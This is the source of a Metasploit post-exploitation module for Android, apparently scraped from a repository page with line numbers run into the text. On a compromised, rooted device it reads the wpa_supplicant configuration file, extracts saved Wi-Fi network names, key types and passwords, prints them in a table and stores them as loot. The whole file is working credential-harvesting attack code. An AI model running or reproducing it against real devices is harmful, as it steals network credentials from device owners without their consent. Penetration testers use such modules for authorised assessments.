Path: blob/master/modules/post/android/gather/wireless_ap.rb
19813 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post67include Msf::Post::Common8include Msf::Post::File9include Msf::Post::Android::Priv1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Gather Wireless SSIDs and PSKs',16'Description' => %q{17This module displays all wireless AP creds saved on the target device.18},19'License' => MSF_LICENSE,20'Author' => ['Auxilus', 'timwr'],21'SessionTypes' => [ 'meterpreter', 'shell' ],22'Platform' => 'android',23'Notes' => {24'Stability' => [CRASH_SAFE],25'SideEffects' => [],26'Reliability' => []27}28)29)30end3132def run33fail_with(Failure::NoAccess, 'This module requires root permissions.') unless is_root?3435data = read_file('/data/misc/wifi/wpa_supplicant.conf')36aps = parse_wpa_supplicant(data)3738if aps.empty?39print_error('No wireless APs found on the device')40return41end4243ap_tbl = Rex::Text::Table.new(44'Header' => 'Wireless APs',45'Indent' => 1,46'Columns' => ['SSID', 'net_type', 'password']47)4849aps.each do |ap|50ap_tbl << [51ap[0], # SSID52ap[1], # TYPE53ap[2] # PASSWORD54]55end5657print_line(ap_tbl.to_s)58p = store_loot(59'wireless.ap.creds',60'text/csv',61session,62ap_tbl.to_csv,63File.basename('wireless_ap_credentials.txt')64)65print_good("Secrets stored in: #{p}")66end6768def parse_wpa_supplicant(data)69aps = []70networks = data.scan(/^network={$(.*?)^}$/m)71networks.each do |block|72aps << parse_network_block(block[0])73end74aps75end7677def parse_network_block(block)78ssid = parse_option(block, 'ssid')79type = parse_option(block, 'key_mgmt', strip_quotes: false)80psk = parse_option(block, 'psk')81[ssid, type, psk]82end8384def parse_option(block, token, strip_quotes: true)85if strip_quotes && ((result = block.match(/^\s#{token}="(.+)"$/)))86return result.captures[0]87elsif (result = block.match(/^\s#{token}=(.+)$/))88return result.captures[0]89end90end91end929394